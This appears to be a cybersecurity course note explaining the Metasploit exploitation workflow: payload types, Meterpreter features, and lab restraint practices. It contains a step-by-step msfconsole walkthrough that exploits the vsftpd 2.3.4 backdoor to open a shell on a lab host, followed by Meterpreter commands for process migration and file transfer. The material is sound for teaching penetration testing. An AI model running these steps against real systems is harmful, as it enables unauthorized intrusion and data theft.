Exploitation Workflow with Metasploit

Tags: #◇Computer Science #◇NSSECU2 #◇Cybersecurity #◇Metasploit #◇Exploitation #◇Payloads #◇Meterpreter #◇Reverse Shell

◇Overview

Exploitation represents the critical phase in an offensive security assessment where theoretical vulnerabilities are validated through controlled execution of proof-of-concept payloads. The Metasploit Framework (MSF) provides a modular, extensible platform that standardizes exploit delivery, payload generation, and session management. Ethical practitioners operate under strict constraints, employing pre-flight verification checks (check), non-destructive payloads, and stable shell architectures (e.g., staged reverse TCP connections) to demonstrate genuine business risk without triggering service disruptions.

◇Key Definitions

• Exploit: A modular piece of software, sequence of commands, or crafted data packet designed to take advantage of a specific software flaw, bug, or vulnerability to produce unintended program behavior.
• Payload: The specific code delivered and executed on the target host following successful exploitation (e.g., executing a command shell, opening a reverse connection, or injecting Meterpreter).
• Auxiliary Module: A Metasploit module that performs non-exploitation tasks such as port scanning, service enumeration, brute-force authentication, or denial-of-service testing.
• Post Module: A module executed within an active session to gather system credentials, enumerate local networks, or evaluate privilege escalation paths.
• Bind Shell: A shell architecture where the payload instructs the compromised target system to open a listening port and wait for the attacker to establish an inbound connection.
• Reverse Shell: A shell architecture where the compromised target actively initiates an outbound network connection back to a listening port hosted on the attacker's machine.
• Meterpreter: An advanced, stealthy, dynamically extensible in-memory payload that utilizes reflective DLL injection to operate entirely within the memory space of a running process without touching the target disk.
• Staged Payload: A two-part payload consisting of a small Stager (which connects back to fetch the remainder) and a larger Stage (e.g., Meterpreter core), allowing execution across constrained memory buffers.

◇Theoretical Framework / Core Concepts

1. Metasploit Framework Modular Architecture

Metasploit organizes security capabilities into distinct, interchangeable module directories:

2. Shell Architectures: Bind vs. Reverse Shells

Selecting the correct shell architecture is crucial for traversing enterprise network defenses:

Staged vs. Non-Staged Payload Naming Convention

In Metasploit, payload naming dictates payload delivery mechanics:

• Non-Staged (Single / Inline): Indicated by an underscore (_). The entire payload is delivered in one contiguous block.
  • Example: windows/x64/meterpreter_reverse_tcp, linux/x86/shell_reverse_tcp
• Staged: Indicated by a slash (/). A small stager is executed first, which downloads and executes the full stage in memory.
  • Example: windows/x64/meterpreter/reverse_tcp, linux/x86/meterpreter/reverse_tcp

3. Meterpreter Architectural Capabilities

Meterpreter executes via Reflective DLL Injection, providing rich operational functionality:

• Zero Disk Footprint: Operates strictly inside memory buffers, evading basic file-based antivirus scanners.
• Process Migration: Can migrate its execution thread into legitimate system processes (e.g., explorer.exe, svchost.exe) via migrate <PID>.
• Encrypted TLS Communication: Encrypts all control traffic and command I/O over TLS.
• Native Post-Exploitation APIs: Built-in commands for screenshotting, keystroke logging, credential dumping, and network routing.

◇Metasploit Console Execution Flow (msfconsole)

A complete, standard five-phase execution walkthrough in msfconsole:

# Launch Metasploit Console with Silent Banner
msfconsole -q

# PHASE 1: Search and Information Gathering
msf6 > search type:exploit name:vsftpd
msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

# PHASE 2: Module Selection and Target Configuration
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.10.45
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21

# PHASE 3: Payload Selection and Local Listener Configuration
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD payload/cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.10.50
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LPORT 4444

# PHASE 4: Safe Pre-Flight Vulnerability Verification (If Supported)
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > check
[*] 192.168.10.45:21 - The target appears to be vulnerable.

# PHASE 5: Controlled Execution and Session Management
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit -j
[*] Exploit running as background job 0.
[*] Command shell session 1 opened (192.168.10.50:4444 -> 192.168.10.45:6200)

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -l
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1

Essential Metasploit Console Commands

Essential Meterpreter Session Commands

# Inside an Active Meterpreter Session:
meterpreter > sysinfo           # Display target OS, hostname, architecture, and kernel
meterpreter > getuid            # Display current user context (e.g. NT AUTHORITY\SYSTEM, root)
meterpreter > ps                # Enumerate active processes and process IDs (PIDs)
meterpreter > migrate 1420      # Migrate Meterpreter thread into PID 1420
meterpreter > upload /root/enum.sh /tmp/enum.sh  # Upload local file to target
meterpreter > download /etc/hosts /root/loot/    # Download remote file to local host
meterpreter > shell             # Drop into standard native operating system shell

◇Interpreting Validation Results & Error Codes

When an exploit fails, ethical testers diagnose the root cause rather than repeatedly firing the module:

◇Operational Restraint & Lab Boundaries

• The check Command First: Always run check when available. This evaluates service banners, registry keys, or specific API quirks without injecting shellcode.
• Avoid Uncontrolled DoS Exploits: Memory corruption exploits (e.g., kernel stack overflows) carry significant risk of blue-screening Windows hosts or kernel-panicking Linux servers.
• Session Cleanup: When concluding testing, gracefully terminate all open sessions (sessions -K) to avoid leaving unmonitored command listeners open on client networks.

◇References & Navigation

• Previous Topic: ◇Web Application Pentesting
• Next Topic: ◇Post-Exploitation Awareness and Privilege Escalation
• Related Notes: ◇Post-Exploitation Awareness and Privilege Escalation, ◇Attack Path Development